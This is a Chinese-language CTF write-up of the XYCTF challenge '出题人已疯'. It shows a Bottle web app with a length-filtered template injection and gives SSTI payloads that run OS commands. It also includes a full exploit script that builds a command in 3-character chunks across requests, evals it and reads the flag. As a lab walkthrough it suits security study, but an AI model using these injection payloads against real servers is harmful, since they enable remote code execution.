XYCTF-出题人已疯
Created At : 2025-04-14 19:50
Count:739
Views 👀 :
XYCTF-出题人已疯 由于找不到bottle相关的资料,直接”借鉴fuboy”的题解了
知识点:
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 # -*- encoding: utf-8 -* - ''' @File : app.py @Time : 2025/03/29 15:52:17 @Author : LamentXU ''' import bottle ''' flag in /flag ''' @bottle.route('/' ) def index(): return 'Hello, World!' @bottle.route('/attack' ) def attack(): payload = bottle.request.query.get('payload') if payload and len(payload) < 25 and 'open' not in payload and '\\' not in payload: return bottle.template('hello '+payload) else: bottle.abort(400, 'Invalid payload') if __name__ == '__main__' : bottle.run(host='0.0.0.0', port=5000)
我们在attack路由里输入?payload=4
检验到了有ssti漏洞
bottle的ssti 和jinja2的区别: 1 2 3 4 5 6 7 Bottle: 使用简单的 {{python表达式 }} 语法 例如: {{1 +1 }} 或 {{__import__ ('os' ).system('id' )}} Jinja2: 使用更复杂的模板语法 例如: {{ config.items () }} 或 {{ ''.__class__.__mro__ [1].__subclasses__() }}
简述:bottle的SSTI可以直接访问到内部类
一般payload:
1 __import__ ('os' ).system('命令' )
绕过 直接用bottle的ssti利用脚本:
官方exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import requests url = 'http://gz.imxbt.cn:20256/attack' payload = "__import__('os').system('cat /f*>123')" p = [payload[i:i+3] for i in range(0,len(payload),3)] flag = True for i in p: if flag: tmp = f'\n%import os;os.a="{i}"' flag = False else : tmp = f'\n%import os;os.a+="{i}"' r = requests.get (url,params={"payload" :tmp}) r = requests.get (url,params={"payload" :"\n%import os;eval(os.a)" }) r = requests.get (url,params={"payload" :"\n%include('123')" }).textprint (r)
输出:
//hello flag{L@men7XU_d0es_n0t_w@nt_t0_g0_t0_scho01}
分析:
1 2 3 4 p = [payload[i:i+3] for i in range (0 , len (payload), 3 )] 将Payload 每3 个字符分割,例如:"__i" , "mpo" , "rt_" , ... 目的是 绕过可能的长度限制或关键字过滤(如__import__可能被拦截)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 flag = Truefor i in p: if flag: tmp = f'\n%import os ;os .a="{i}" ' flag = False else: tmp = f'\n%import os ;os .a+="{i}" ' r = requests.get(url, params={"payload" : tmp}) //逐块发送Payload \n% 是 Bottle模板的语法,类似于Jinja2的{{ }},但Bottle允许直接执行Python代码。 import os ;os .a="..." :第一次请求:初始化 os .a 为第一个分块(如"__i" )。 后续请求:用 += 拼接剩余分块(如"mpo" 、"rt_" ...)。 最终,os .a 会存储完整的Payload:"__import__('os').system('cat /f*>123')" 。
即如果服务器 保持会话状态 (如os.a变量未被清除),可以尝试:
分多次提交短Payload ,存储到某个变量:
{{a="__imp"}}
{{a+="ort__"}}
{{a+="('os')"}}
{{eval(a)}}(最终执行__import__('os'))
通过斜体字绕过 聊聊bottle框架中由斜体字引发的模板注入(SSTI)waf bypass - LamentXU - 博客园
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。